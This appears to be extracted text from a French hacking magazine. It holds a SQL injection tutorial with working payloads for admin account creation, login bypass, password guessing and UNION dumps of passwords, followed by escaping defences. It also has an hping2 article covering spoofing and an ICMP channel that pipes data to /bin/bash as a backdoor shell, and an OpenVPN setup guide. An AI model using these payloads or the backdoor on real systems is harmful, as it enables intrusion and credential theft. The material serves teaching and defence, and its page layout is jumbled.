valeur % ORDER BY uid # La requête deviendrait : $sql = SELECT users FROM table WHERE pseudo LIKE % ORDER BY uid #% ORDER BY NAME ; Ici tout ce qui est à la droite du signe # sera ignoré par le langage SQL. Nous obtenons donc une liste non pas triée par nom mais triée par uid, ce qui n était pas prévu par le script! Nous avons donc bel et bien fait une attaque par injection SQL. Bon, je vous l accorde, cet exemple n est pas très utile mais il présente au moins l avantage d expliquer simplement le principe d une injection. Passons maintenant à la vitesse supérieure DÉTECTION D UNE FAILLE Comme vous allez le constater la détection du faille de ce type est assez facile à mettre en œuvre. Pour cela il suffit simplement d entrer dans un formulaire la valeur c est daisy (par exemple ^^) puis de constater si une erreur apparaît. En reprenant la requête SQL que nous avons utilisé tout à l heure, cela donnerait : $sql = SELECT users FROM table WHERE pseudo LIKE %c est daisy% ORDER BY NAME ; Bibliographie (outils de sécurité) Nmap - Wikipedia, the free encyclopedia : http://en.wikipedia.org/wiki/nmap Nmap Wikipédia : http://fr.wikipedia.org/wiki/nmap Ghosts In The Stack Nmap : http://www.ghostsinthestack.org/article-27-nmap.html man nmap : http://www.delafond.org/traducmanfr/man/man1/nmap.1.html tcpdump - Wikipedia, the free encyclopedia : http://en.wikipedia.org/wiki/tcpdump tcpdump Wikipédia : http://fr.wikipedia.org/wiki/tcpdump TCPDUMP/LIBPCAP public repository : http://www.tcpdump.org/ man tcpdump : http://www.tcpdump.org/tcpdump_man.html Comme vous le constater tout ce qui est en rouge après le c ne sera pas pris en compte par la requête, et celle-ci renverra un message d erreur du genre : mysql_fetch_array(): supplied argument is not a valid MySQL Bien sûr si aucune faille n est présente, à savoir si le développeur a bien protégé ses variables, aucune erreur n apparaitra, la requête étant changée par exemple en : $sql = SELECT users FROM table WHERE pseudo LIKE %c\ est daisy% ORDER BY NAME ; Mais nous reviendrons sur ces moyens de protection dans la partie Protection. EXPLOITATION D UNE FAILLE Une fois la faille détectée, il faut pouvoir l exploiter Cette partie va tenter d expliquer les méthodes afin d obtenir des informations sur le serveur. 1 - La commande INSERT Nous allons pour commencer tenter de créer un compte avec les droits administrateurs via un formulaire d enregistrement qui contiendrait une faille. Prenons la table suivante : CREATE TABLE users ( uid smallint(6) NOT NULL auto_increment,login varchar(25),password varchar(25),statut tinyint,primary KEY (id)) Cette table très simple contiendra au final l id du membre, son login, son password et une chose bien plus importante : son statut (par exemple 1- administrateur ; 2- modérateur ; 3- membre normal). Examinons également la requête qui ajoute un membre : INSERT INTO users (login,password,statut) VALUES ('$login','$password','3') Lors de la création, le champ uid s incrémentera tout seul, le champ login prendra la valeur de $login, de même pour password et $password, et le champ statut prendra par défaut la valeur 3, ce qui est normal car dans la plupart des sites lorsqu un membre est créé il n est au départ qu un utilisateur de base, c est après qu on décide de le passer modérateur ou même administrateur. Bref revenons à nos injections et après avoir détecté si une faille existe, exploitons-là! Ici vous comprendrez que le but de l injection sera de se créer un compte administrateur. Pour cela entrez les valeurs toto dans le champ $login ainsi que titi','1')# dans le champ $password. La requête devient alors : INSERT INTO users (login,password,statut) VALUES ('toto','titi', '1')#','3') Ici tout ce qui sera après le # ne sera pas pris en compte par la requête. Vous l aurez donc compris nous venons de créer l utilisateur toto, avec le mot de passe titi et surtout avec le statut d administrateur du site! Bon, d accord me direz vous, mais si jamais ce n est pas la requête lors de l inscription qui indique le statut de l utilisateur, mais que c est dans la base ellemême que cela a lieu. Par exemple au lieu d avoir : statut tinyint,, nous aurions : userlevel tinyint default '3', HacKethiC N 1 8

, avec la requête : INSERT INTO users SET login='$login', password='$password' Dans ce cas effectivement le statut par défaut lors de chaque inscription serait le 3, et c est plus tard que l administrateur modifierait ce statut. Pour contrer cette «protection», il suffit de modifier un peu notre injection pour avoir titi', statut='1 puis de l injecter dans l un des champs. Ce qui donnerait par exemple la requête suivante : INSERT INTO users SET login='toto', password='titi', statut='1' Nous venons là aussi de créer un membre avec les droits de l administrateur. 2 - La commande SELECT Bon il ne faut pas se mentir, ce type de faille est tout de même assez rare, n empêche que ça peut quand même arriver. Maintenant prenons un cas différent. Nous avons vérifié au niveau du formulaire d enregistrement si une faille existait malheureusement il n y en a aucune Bon eh bien si on ne peut pas se créer de compte avec les droits d admin, on va aller rechercher le mot de passe de l administrateur :D a - Se connecter à la place de l admin Restons sur notre exemple concernant la table users. Pour rappel la voici : CREATE TABLE users ( uid smallint(6) NOT NULL auto_increment, login varchar(25), password varchar(25), statut tinyint, PRIMARY KEY (id) ) Cette fois-ci nous allons attaquer le formulaire d authentification, et non plus d enregistrement. La requête pour l authentification est la suivante : SELECT uid FROM users WHERE login='$login' AND password='$pass' Pour exploiter la faille il nous suffit d entrer comme login ainsi que comme password la valeur a' OR 'a' = 'a Nous aurions donc : SELECT uid FROM users WHERE login=' a' OR 'a' = 'a' AND password='a' OR 'a' = 'a' Notre requête va bien entendu fonctionnée étant donné que 'a' = 'a' est toujours vrai. La requête sélectionnera donc l uid du premier utilisateur, et dans bien des cas ce premier utilisateur est tout bonnement l administrateur du site. Nous serons donc connectés à sa place. L injection que nous avons placé n est qu un exemple parmi tant d autres, nous aurions tout aussi bien pu injecter la valeur a' OR 'a' = 'a'# Ce qui aurait donné : SELECT uid FROM users WHERE login='a' OR 'a' = 'a'# AND password='' Et vous le savez désormais, tout ce qui se situe après le # ne sera pas pris en compte pour la requête. Maintenant supposons que vous souhaitiez vous connecter sur le compte d un utilisateur en particulier. Il suffit d injecter nom_de_l_utilisateur'# dans le champ $login. Ce qui donnerait par exemple : SELECT uid FROM users WHERE login='monsieurledirecteur'# AND password='' La suite du script se ferait avec l uid de l utilisateur souhaité, et vous seriez donc connecté à sa place. b - Deviner le mot de passe de l admin Dans le cas précédent nous n avons fait que nous connecter à la place de l administrateur, mais nous ne connaissons pas son mot de passe. Les plus malins nous diront qu il n y a plus qu à le changer une fois connecté, et ce n est pas faux d ailleurs, cependant ce n est pas très discret : le véritable administrateur se rendra bien compte lors de sa prochaine tentative de connexion que son password ne marche plus. Une manière plus discrète d obtenir des accès root sur un site consiste donc à «deviner» le mot de passe de l admin. Toujours avec la table users précédemment utilisée et la même requête de connexion, entrons la valeur admin' AND password LIKE 'a%'# dans le champ $login, Nous obtenons alors la requête suivante : SELECT uid FROM membres WHERE login='admin' AND password LIKE 'a%'#' AND password='' Vous l aurez compris si le password de l utilisateur concerné commence par un a vous serez connecté, sinon vous ne le serez pas. Par la suite il faudra essayer avec b%, c% etc jusqu à trouver la bonne lettre, puis recommencer avec Xa%, Xb%, etc. Bien sûr il se peut que vous ayez fini par trouver le mot de passe mais que vous continuiez tout de même à essayer de le trouver. Pour éviter cela il suffit de trouver la taille du password avec la commande SQL : LENGTH. Par exemple en injectant admin' AND LENGHT(password) = 5'# Nous obtenons la requête : SELECT uid FROM membres WHERE login='admin' AND LENGTH(password)=5'#' AND password='' Si le mot de passe est égal à 5 vous serez connecté, sinon il faudra essayer une autre valeur. c - Obtenir un mot de passe La partie précédente, où il était question de deviner le mot de passe d un utilisateur, nécessitait de connaître le nom de l utilisateur, et encore mieux le nom de l administrateur, malheureusement ce n est pas toujours le cas. Qui plus est cette méthode est assez longue et fastidieuse. Pour éviter cela nous allons tenter de découvrir directement le mot de passe des membres, et avec un peu de chance celui de l administrateur. Cette technique nécessite l utilisation du mot-clé UNION. Je vous invite à visiter le lien suivant pour comprendre son utilité, l explication du langage SQL dépassant cet article : http://sqlpro.developpez.com/cours/sqlaz/jointures/ Pour cela imaginons une requête listant le pseudo des utilisateurs ainsi que leur email : SELECT pseudo, email FROM table WHERE pseudo LIKE '%$pseudo%' ORDER BY name Nous allons donc injecter dans le champ $speudo la valeur ' union all select pseudo as pseudo, password as email from users # La requête devient alors : SELECT pseudo, email FROM table WHERE pseudo LIKE '%' union all select pseudo as pseudo, password as email from users #%' ORDER BY name Nous obtiendrons donc quelque chose de ce style : admin admin@injectionsql.fr marco marci@injectionsql.fr gégé gege@injectionsql.fr admin admin1234 marco albator33 gégé 12conanlebarbare34 On remarque facilement ce qu il s est passé. Le script a bien affiché les pseudos avec leur email, mais il a également ajouté par la suite le pseudo des membres suivi de leur mot de passe!! Et par chance ils ne sont pas crypté, que demander de plus ^^ HacKethiC N 1 9

MOYENS DE PROTECTION Comme vous l avez certainement remarqué les injections SQL sont très dangereuses et les attaques peuvent être critiques. Heureusement pour les développeurs Web il existe des techniques permettant de contrer ces attaques. 1 - Le fichier php.ini Tout d abord signalons l existence du fichier php.ini, qui est le fichier de configuration de PHP. Ce fichier est utile sur beaucoup de points, mais dans notre cas il nous servira à éviter les injections SQL grâce aux magic quotes. Cette fonction ajoutera automatiquement, et ce même si le développeur n y a pas prêter attention, des antislashs devant les guillemets ( ' ' ) ainsi que devant les simples quotes ( ' ). Notons toutefois que ces magics quotes sont facilement contournables, mais nous verrons cela dans un prochain article. Les techniques employées ici ne sont que la base des injections SQL, néanmoins nous aurons été plus loin que le très connu 'OR 1=1. De plus comme vous avez pu le remarquer les exemples nécessitaient de connaitre certains renseignements sur les tables attaquées, comme le nom de certains champs. Nous verrons cependant dans un prochain article les Blind SQL Injections, littéralement les Injections SQL à l aveugle. Ce type d attaque nous permettra d attaquer un site web sans en connaitre au préalable la BDD. SOURCES http://www.ghostsinthestack.org/article-8-les-bases-des-injections-sql.html http://fr.thehackademy.net/article.php?story_id=95&section_id=57 http://www.phpfrance.com/tutoriaux/index.php/2005/04/17/29-les-magic-quotes 2 - La fonction addslashes() Cette fonction a elle-aussi pour but de rajouter des antislashs devant les guillemets et les simples quotes. 3 - La fonction mysql_real_escape_string() Cette fonction est à conseiller par rapport à addslashes() car celle-ci protègera également les \n et \r. Un exemple de protection : $login = mysql_real_escape_string($_post[ login ]) ; $password = mysql_real_escape_string($_post[ password ]) ; $sql = mysql_query( SELECT uid FROM users WHERE login = $login AND password = $password ); Ici l injection SQL n est pas possible, les variables étant toutes les deux protégées. Conclusion Vous l aurez compris les injections SQL peuvent être critiques pour un site web communicant avec une base de données. De nombreuses informations, parfois confidentielles peuvent facilement être découvertes si le développeur n a pas pris soin de protéger les variables envoyées aux scripts. Une publication La Pieuvre Noire 111, avenue Victor Hugo - 75784 Paris cedex 16 Rédaction : HacKethiC Team Maquette : Raph Imprimé par ROTO GARONNE - 47310 Estillac Commission paritaire : en cours Dépôt légal à parution ISSN en cours LPN 2009 Directeur de la Publication : O. André Email : hackethicmag@gmail.com HacKethiC 1 an = 4 numéros = 12 euros Bulletin d abonnement à découper ou à recopier et à envoyer accompagné de votre réglement de 12 euros à l ordre de LPN - 111, avenue Victor Hugo - 75784 PARIS cedex 16 NOM : PRENOM : ADRESSE : CODE POSTAL : VILLE : Email : HacKethiC N 1 10

L'outil HPING2 PAR FLORENT DERUDAS Ping est sans aucun doute la commande la plus utilisée par l'ensemble des exploitants d'un réseau informatique ; elle permet de vérifier très simplement la connectivité avec un hôte distant du réseau au moyen du protocole ICMP. Un simple ping n'offre cependant pas de réelle information sur la stratégie de sécurité de l'hôte distant (firewall, règle de filtrage, etc). Cet article sera donc une présentation de son grand frère «hping2». Il détaillera son fonctionnement ainsi que quelques options avancées. Introduction Hping2 sera particulièrement intéressant pour les administrateurs réseaux, ou tout autre personne, désirant mettre à l'épreuve un dispositif de sécurité, comme un firewall par exemple. Hping2 est une alternative à la commande de base ping. Il est relativement évolué est permet de gérer plusieurs protocoles. On peut donc classiquement effectuer des requêtes ICMP, mais aussi envoyer des requêtes TCP ou UDP sur n'importe quel port pour vérifier son état, et ceci de façon discrète. Le principal avantage de cet outil est qu'il retourne, en fonction des paramètres qui lui sont passés, une grande variété de réponses de la part des cibles. Nous pourrons, entre autres, de détecter des paquets ouverts, bloqués, rejetés ou abandonnés. Cet outil réseau offre aussi la possibilité de modifier manuellement les champs des headers à la ligne de commandes ou encore de faire du transfert de fichier via les protocoles supportés. On peut notamment insérer des données malveillantes dans les paquets (buffer overflow, trojan,...) et les utiliser pour pénétrer des réseaux. Je vous propose de découvrir cet utilitaire au travers d'exemples de plus en plus avancés, puis de conclure sur une utilisation «détournée» de hping2 en tant que troyen. Voici une présentation des commandes de base de cet outil. retrouve le «ping classique» avec -c pour spécifier le nombre de paquet à envoyer : # hping2 -c 1 192.168.1.1-1 HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 0 data bytes len=46 ip=192.168.1.1 ttl=64 id=44279 icmp_seq=0 rtt=0.8 ms --- 192.168.1.1 hping statistic --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.8/0.8/0.8 ms Par défaut on observe bien que les paquets émis sont en TCP : # hping2 -c 1 192.168.1.1 HPING 192.168.1.1 (eth0 192.168.1.1): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.1.1 ttl=64 DF id=2679 sport=0 flags=ra seq=0 win=0 rtt=0.7 ms len est la taille, en octets, des données capturées dans la couche liaison de données en excluant la taille de l entête de liaison de données. ip est l adresse ip source. flags sont les drapeaux TCP, R pour RESET, S pour SYN, A pour ACK, F pour FIN, P pour PUSH, U pour URGENT, X pour 0x40 non standard, Y pour 0x80 non standard. Si la réponse contient DF l entête IP possède le bit don t fragment (ne pas fragmenter) positionné. seq est le numéro de séquence du paquet, obtenu en utilisant le port source pour les paquets TCP/UDP, le champ séquence pour les paquets ICMP. id est le champ IP ID. win est la taille de la fenêtre TCP rtt est le "round trip time" (ndt : temps aller-retour) en millisecondes. L'option -t permet de spécifier le champ TTL (Time To Live) du protocole IP. La majorité des champs du protocole IP sont modifiables par des arguments de cette manière. >hping 192.168.4.222 -t 3 Par défaut, hping2 envoie des requêtes TCP sur le port 0 de l'hôte de destination, avec aucun drapeau (flag) positionné, ce qui aura pour effet de ne pas être inscrit dans les logs dans la plupart des cas. Le retosera une réponse TCP avec les drapeaux RST et ACK positionnés si l'hôte distant est connecté avec une configuration TCP/IP fonctionnelle. Comme nous l'avons dit précédemment, hping2 supporte plusieurs protocoles, la spécification d'un protocole particulier est a passer dans la ligne de commande, avec : - 0 active le mode RAW IP, qui permet de signer la requête. - 1 sélectionne de mode ICMP, qui équivaut alors à la simple commande ping - 2 sélectionne le mode UDP, qui émet des segments UDP - 9 active le mode listen, qui permet de recevoir des paquets signés Cette option -p précise le port destination que l'on veut joindre. Cet outil est très pratique pour faire du scannage de port et ainsi déterminer les sécurités utilisées par un firewall par exemple : # hping2 -c 1 192.168.1.1 -p 53 HPING 192.168.1.1 (eth0 192.168.1.1): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.1.1 ttl=64 DF id=2682 sport=53 flags=ra seq=0 win=0 rtt=0.8 ms --- 192.168.1.1 hping statistic --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.7/0.7/0.7 ms --- 192.168.1.1 hping statistic --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.8/0.8/0.8 ms HacKethiC N 1 11

L'option -s permet de spécifier le port source de la requête. Cette fonction trouve son utilité lorsqu'on veut passer outre un firewall particulièrement fermé ne laissant rentrer que des paquets en provenance d'un certain port (ici 53 : requête DNS) : # hping2 -c 1 192.168.1.1 -s 53 HPING 192.168.1.1 (eth0 192.168.1.1): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.1.1 ttl=64 DF id=2704 sport=0 flags=ra seq=0 win=0 rtt=0.7 ms --- 192.168.1.1 hping statistic --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.7/0.7/0.7 ms Bien d'autres champs sont modifiables par les différentes options, on peut par exemple citer les champs seq, window, ainsi que tous les flags que l'on peut spécifier un à un. Il est aussi possible de réaliser des scans avancés avec hping, de retrouver les services en écoute ou de visualiser les différents flags dans les paquets : # hping2 --scan 20-80 -S 192.168.1.1 Scanning 192.168.1.1 (192.168.1.1), port 20-80 61 ports to scan, use -V to see all the replies +----+-----------+---------+---+-----+-----+ port serv name flags ttl id win +----+-----------+---------+---+-----+-----+ 23 telnet :.S..A... 64 0 5840 80 www :.S..A... 64 0 5840 All replies received. Done. On scanne du port 20 au port 80, et l'option -S nous permet de fixer le drapeau TCP SYN dans nos paquets (indique une demande d'établissement de connexion). Il est à noter que Le mot spécial «all» peut être utiliser pour la plage 0-65535, et que le mot spécial «known» inclut tous les ports listés dans /etc/services. On peut aussi ajouter que lorsque hping est utilisé en tant que scanner de port, il conserve toutes ses fonctionnalités et il est possible de changer la taille de la fenêtre TCP, le TTL, contrôler la fragmentation IP comme habituellement, et ainsi de suite. Lors d'un scan les champs IP ID, TCP win, TTL, et ainsi de suite, montrent des détails intéressants que la plupart des scanner de ports ne révelent pas. N oubliez pas de regarder ces informations additionnelles! Un ping TCP avec spoofing est aussi supporté, l'option -a permet de fixer une fausse adresse source, cette option assure que le système cible n obtiendra pas votre adresse réelle # hping 192.168.1.1 -a www.google.fr HPING 192.168.29.1 (eth0 192.168.29.1): NO FLAGS are set, 40 headers + 0 data bytes Dans ce mode, vous n aurez bien sur pas les réponses, qui seront envoyés à la machine spécifiée par l option -a (des méthodes existent cependant pour récupérer les réponses). Et pour terminer cette présentation, voici une petite manipulation qui va nous permettre d'avoir la main sur un système au moyen d'une utilisation avancée de l'outil hping, à savoir le transfert d'information au travers du protocoles ICMP. Hping2 permet effectivement d'envoyer des paquets contenant des données définies par l'utilisateur. Pour inclure les données à envoyer il nous faut utiliser l'option -E en spécifiant le chemin du fichier contenant les informations à envoyer. Hping2 permet aussi d'envoyer des paquet contenant une signature spécifiée par l'utilisateur sous forme de chaîne de caractères. L'option -e est alors nécessaire. Du côté client, la commande à envoyer peut donc ressembler à ceci : > hping2 192.168.1.10 -e SIGNATURE -E fichierdecommande.lst -d 50-1 L'option -1 précise le protocole à utiliser (icmp), -d 50 nous sert à fixer la taille du corps du paquet, -E nous permet d'utiliser le contenu du fichier fichierdecommande.lst pour remplir les données du paquet et -e nous permet de préciser notre propre signature. Pour que la manœuvre puisse fonctionner, il faut placer sur la machine «victime» hping2 en mode écoute grâce à l'option --listen. En utilisant cette option hping2 attend les paquets qui contiennent la signature et exporte les données du paquet. Il ne nous reste plus qu'à rediriger ces données vers quelque chose d'intéressant, et le tour est joué : > hping2 --listen SIGNATURE -1 /bin/bash Toujours -1 pour spécifier le protocole, les données retrouvées après la signature dans le paquet ICMP seront envoyées vers un shell! Il ne s'agit là que d'un exemple d'utilisation, mais les possibilités d'exploitations sont nombreuses. Le fait de pouvoir forger «à la main» des paquets, aussi bien au niveau des en-têtes que des données peut nous aider à réaliser de nombreux test, sur les règles des firewall ou sur la prise d'information dans la pile TCP/IP de la machine distante en analysant les éventuelles réponses. Conclusion Hping montre de réels atouts et de nombreuses fonctionnalités. En effet, il apporte le pouvoir de réaliser simplement des requêtes entièrement paramétrables avec les protocoles ICMP/TCP/UDP. Cette possibilité permet plusieurs fonctions avancées qui s'avèrent très utiles, comme tester la politique d'un firewall sur des ports bien particuliers, ou le transfert de fichiers à travers un firewall, ou encore le test d'une liaison. Au final, on peut dire que hping apport à la commande ping l'aspect quantitatif, c'est à dire qu'en plus de savoir si un hôte est connecté ou non, on peut obtenir de nombreux renseignements sur la sécurité de cet hôte et de la liaison qui nous joint à lui. HacKethiC N 1 12

Une solution VPN avec OpenVPN NICOLAS VOUTON (TILILOUBLOU) Mise en place d'un tunnel VPN grâce à OpenVPN utilisant SSL. Introduction Nous allons vous proposer maintenant la mise en place d'une solution VPN grâce à OpenVPN. Nous avons décidé de prendre OpenVPN pour trois bonnes raisons : sa simplicité, sa portabilité et son prix. En effet, OpenVPN est une solution gratuite sous licence GNU/GPL, fonctionnant sous Windows (aprrès Windows 2000),Mac OS X, Linux, BSD*, Solaris. OpenVPN, c'est quoi? Créé en 2002, OpenVPN est un outil open source utilisé pour construire des VPNs site à site avec le protocole SSL/TLS ou avec des clefs partagées. Son rôle est de "tunneliser", de manière sécurisée, des données sur un seul port TCP/UDP à travers un réseau non sûr comme Internet et ainsi établir des VPNs. Création des clefs publique/privée Editez le fichier «/etc/ssl/openssl.cnf» puis modifier la variable dir=./democa tel que dir=/etc/ssl/ca/ par exemple. Où /etc/ssl/ca/ sera le repertoire contenant vos clefs de sécurité. Vous pouvez aussi modifier certaines varibles dans ce fichier de configuration tel que : default_days = 3650 default_bits = 2048 countryname_default = FR stateorprovincename_default = Nord-pas-de-Calais localityname_default = Maubeuge 0.organizationName_default = Tililoublou commonname_default = vpn.tililoublou.net emailaddress_default = admin@tililoublou.net Ensuite assurez-vous que la variable certificate est bien initialisé comme ceci : certificate = $dir/cacert.pem CONNEXION VPN VUE SHÉMATIQUEMENT Tunneling OpenVPN crée un tunnel TCP ou UDP et ensuite chiffre les données à l'intérieur de celui-ci. Le port par défaut utilisé par OpenVPN est le port UDP 1194, basé sur un assignement officiel de port par l'iana. Vous pouvez toutefois utiliser n'importe quel autre port et, depuis la version 2.0, un port unique peut être utilisé pour plusieurs tunnels sur le serveur OpenVPN. Sécurité Lors de l'utilisation de clefs statiques, les deux passerelles VPN partagent la même clef pour chiffrer et déchiffrer les données. Dans ce cas, les configurations seront très simples mais le problème peut venir du fait qu'il est parfois nécessaire de transmettre la clef (à travers un canal sécurisé bien sûr) à quelqu'un dont vous n avez pas confiance à l'autre bout du tunnel. L'infrastructure à clef publique (PKI pour Public Key Infrastructure en anglais) est utilisée pour résoudre ce problème. Elle est basée sur le fait que chaque partie possède deux clefs, une clef publique connue de tout le monde et une clef privée tenue secrète. Ce processus est utilisé par OpenSSL,pour authentifier les machines VPN avant le chiffrement des données. Regardons les avantages des deux modes : cacert.pem est votre certificat dit CA ( Autorité de certification ) Ensuite nous allons préparer nos repertoire pour générer les certificats : mkdir -p /etc/ssl/ca cd /etc/ssl/ca mkdir -p {certs,crls,newcerts,private} touch index.txt echo 01 > serial echo 01 > openssl req -nodes -new -x509 -keyout private/cakey.pem -out cacert.pem -days 3650 # Creer une liste de révocation de certificats openssl ca -gencrl -out crls/crl.pem # Generation de clé dite Diffie Hellman openssl dhparam -out dh1024.pem 1024 Création des nouveaux certificats # Création des certificats publique et privé. cd certs openssl req -nodes -new -keyout vpn.tililoublou.net.key -out vpn.tililoublou.net.csr # Signer le certificat openssl ca -out vpn.tililoublou.net.crt -in vpn.tililoublou.net.csr -policy policy_anything Vous devriez avoir 3 fichiers dans le répertoire certs : Mode OpenVPN: Clefs partagées SSL Mode de cryptographie: Symétrique Asymétrique/Symétrique Implémentation: Plus facile Plus compliquée Vitesse: Plus rapide Plus lente Consommation CPU: Plus petite Plus grande Echange des clefs: OUI NON Renouvellement des clefs: NON OUI Authentification des passerelles: NON OUI vpn.tililoublou.net.crt vpn.tililoublou.net.key vpn.tililoublou.net.csr # Le certificat du serveur signé # La clé privé du certificat du serveur. # Ce fichier est celui que les hackers cherchent. # Donc gardez ce fichier en lieu sûr! # Clé privée cryptée pour le certificat du server. HacKethiC N 1 13

Mise en place d OpenVPN ARCHITECTURE CLIENT/SERVER Parmi les deux boitiers OpenVPN, il est nécessaire d'en déclarer un en tant que serveur et l'autre en tant que client. Dans certains scenarios, chaque boitier peut être déclaré comme serveur ou client, mais dans d'autres, il est obligatoire de choisir spécifiquement un boitier comme serveur et l'autre comme client, regardons quand. Avant d'établir le VPN SSL, le client essaie d'abord de joindre le serveur sur un port spécifique, le serveur n'ayant pas besoin d'atteindre le client. Prenons un exemple où vous êtes dans un environnement scolaire et voulez établir un VPN avec un équipement directement connecté à Internet, disons un équipement à votre domicile. Dans ce cas usuel, le client peut atteindre le serveur mais pas le contraire, Ceci est du au fait que le client est situé dans un réseau local et se connecte à Internet via un proxy et un Pare-feu qui vont changer son adresse IP source par leur propre adresse IP. Bien sûr, quand le tunnel est créé, le trafic en son intérieur est bidirectionnel. Configuration # ADRESSE IP DU SERVEUR# L'adresse IP WAN du client n'est pas# requise # TUNNEL TCP OU UDP# Tunnel UDP est recommandéproto udp# PORT TCP OU UDP port 1194 # TUNNEL ETHERNET OU IP # "dev tun" will create a routed IP tunneldev tun # SERVEUR SSL/TLS tls-server # CERTIFICATS ET CLEF PRIVEE # Certificat de l'autorité (clef publique du CA) ca ca.crt# Certificat du server (clef publique du serveur) cert server.crt # Clef privée du serveur key server.key # Paramètres Diffie-Hellman dh dh1024.pem # ALGORITHME DE CHIFFREMENTcipher AES-256-CBC # ALGORITHME DE HACHAGEauth MD5 # PARAMETRES DHCP# Etendue DHCP# Le serveur s'attribue la première# adresse de l'étendueserver 10.8.0.0 255.255.255.0 # VERBOSITE DU JOURNAL# Paramétrage de la verbosité du journal, 0=min 15=maxverb 3 # SECURITE OPENVPN - Linux seulement # Utilisateur OpenVPNuser nobody# Après initialisation, OpenVPN peut# seulement accéder à un dossier# Le dossier peut être vide# Limitation du processus OpenVPNchroot /etc/openvpn FICHIER DE CONFIGURATION CONNEXION VPN À TRAVERS UN FIREWALL Dans notre exemple, nous allons appeler ce fichier {client,serveur}.conf et le sauver dans le dossier /home/$user/openvpn/ ou "C:\Program Files\OpenVPN\config\" selon s'il s'agit d'une machine Linux/Unix ou Microsoft. # ADRESSE IP DU SERVEUR remote 100.0.0.1 # # TUNNEL TCP OU UDP # Tunnel UDP est recommandé proto udp # PORT TCP OU UDP port 1194 # TUNNEL ETHERNET OU IP # "dev tun" will create a routed IP tunnel dev tun # CLIENT SSL/TLS tls-client # CERTIFICATS AND CLEF PRIVEE # Certificat de l'autorité (clef publique du CA) ca ca.crt # Certificat du client (clef publique du serveur) cert client.crt # Clef privée du client key client.key # Aucun paramètre DH sur le client # # ALGORITHME DE CHIFFREMENT cipher AES-256-CBC # ALGORITHME DE HACHAGE auth MD5 # LE CLIENT ACCEPTE LES OPTIONS # DU SERVEUR # Le client devrait accepter les options # poussées par le serveur pull # VERBOSITE DU JOURNAL # Paramétrage de la verbosité du journal, 0=min 15=max verb 3 # SECURITE OPENVPN - Linux seulement # Utilisateur OpenVPN user nobody # Après initialisation, OpenVPN peut # seulement accéder à un dossier # Le dossier peut être vide # Limitation du processus OpenVPN chroot /etc/openvpn/ Enfin, il ne reste plus qu'à lancer OpenVPN comme ceci : $ openvpn /home/$user/openvpn/serveur.conf $ openvpn /home/$user/openvpn/client.conf Vous pouvez maintenant tester la connectivité en faisant un ping : $ ping 10.0.1.2 EXEMPLE PING zeus# ping 10.8.0.1 PING 10.8.0.1 (10.8.0.1): 56 data bytes 64 bytes from 10.8.0.1: icmp_seq=0 ttl=64 time=1.944 ms 64 bytes from 10.8.0.1: icmp_seq=1 ttl=64 time=1.012 ms 64 bytes from 10.8.0.1: icmp_seq=2 ttl=64 time=1.021 ms ^C --- 10.8.0.1 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max/stddev = 1.012/1.326/1.944/0.437 ms HacKethiC N 1 14

EXEMPLE SERVEUR saratov# openvpn server.conf Wed Dec 3 00:17:22 2008 OpenVPN 2.0.6 i386-portbld-freebsd7.0 [SSL] [LZO] built on Nov 26 2008 Wed Dec 3 00:17:22 2008 Diffie-Hellman initialized with 1024 bit key Wed Dec 3 00:17:22 2008 TLS-Auth MTU parms [ L:1553 D:138 EF:38 EB:0 ET:0 EL:0 ] Wed Dec 3 00:17:22 2008 gw 10.0.1.1 Wed Dec 3 00:17:22 2008 TUN/TAP device /dev/tun0 opened Wed Dec 3 00:17:22 2008 /sbin/ifconfig tun0 10.8.0.1 10.8.0.2 mtu 1500 netmask 255.255.255.255 up Wed Dec 3 00:17:22 2008 /sbin/route add -net 10.8.0.0 10.8.0.2 255.255.255.0 add net 10.8.0.0: gateway 10.8.0.2 Wed Dec 3 00:17:22 2008 Data Channel MTU parms [ L:1553 D:1450 EF:53 EB:4 ET:0 EL:0 ] Wed Dec 3 00:17:22 2008 chroot to '/etc/openvpn/' and cd to '/' succeeded Wed Dec 3 00:17:22 2008 UID set to nobody Wed Dec 3 00:17:22 2008 UDPv4 link local (bound): [undef]:1194 Wed Dec 3 00:17:22 2008 UDPv4 link remote: [undef] Wed Dec 3 00:17:22 2008 MULTI: multi_init called, r=256 v=256 Wed Dec 3 00:17:22 2008 IFCONFIG POOL: base=10.8.0.4 size=62 Wed Dec 3 00:17:22 2008 Initialization Sequence Completed Wed Dec 3 00:17:51 2008 MULTI: multi_create_instance called Wed Dec 3 00:17:51 2008 10.0.1.3:1194 Re-using SSL/TLS context Wed Dec 3 00:17:51 2008 10.0.1.3:1194 Control Channel MTU parms [ L:1553 D:138 EF:38 EB:0 ET:0 EL:0 ] Wed Dec 3 00:17:51 2008 10.0.1.3:1194 Data Channel MTU parms [ L:1553 D:1450 EF:53 EB:4 ET:0 EL:0 ] Wed Dec 3 00:17:51 2008 10.0.1.3:1194 Local Options hash (VER=V4): '237597c6' Wed Dec 3 00:17:51 2008 10.0.1.3:1194 Expected Remote Options hash (VER=V4): '2c54dbbd' Wed Dec 3 00:17:51 2008 10.0.1.3:1194 TLS: Initial packet from 10.0.1.3:1194, sid=21f8df77 22fad4ab Wed Dec 3 00:17:51 2008 10.0.1.3:1194 VERIFY OK: depth=1, /C=FR/ST=Pas-de-Calais/L=Maubeuge/O=Tililoublou/CN=Tililoublou_CA/emailAddress=admin@tililoublou.net Wed Dec 3 00:17:51 2008 10.0.1.3:1194 VERIFY OK: depth=0, /C=FR/ST=Pas-de-Calais/L=Maubeuge/O=Tililoublou/CN=client/emailAddress=admin@tililoublou.net Wed Dec 3 00:17:51 2008 10.0.1.3:1194 Data Channel Encrypt: Cipher 'AES-256-CBC' initialized with 256 bit key Wed Dec 3 00:17:51 2008 10.0.1.3:1194 Data Channel Encrypt: Using 128 bit message hash 'MD5' for HMAC authentication Wed Dec 3 00:17:51 2008 10.0.1.3:1194 Data Channel Decrypt: Cipher 'AES-256-CBC' initialized with 256 bit key Wed Dec 3 00:17:51 2008 10.0.1.3:1194 Data Channel Decrypt: Using 128 bit message hash 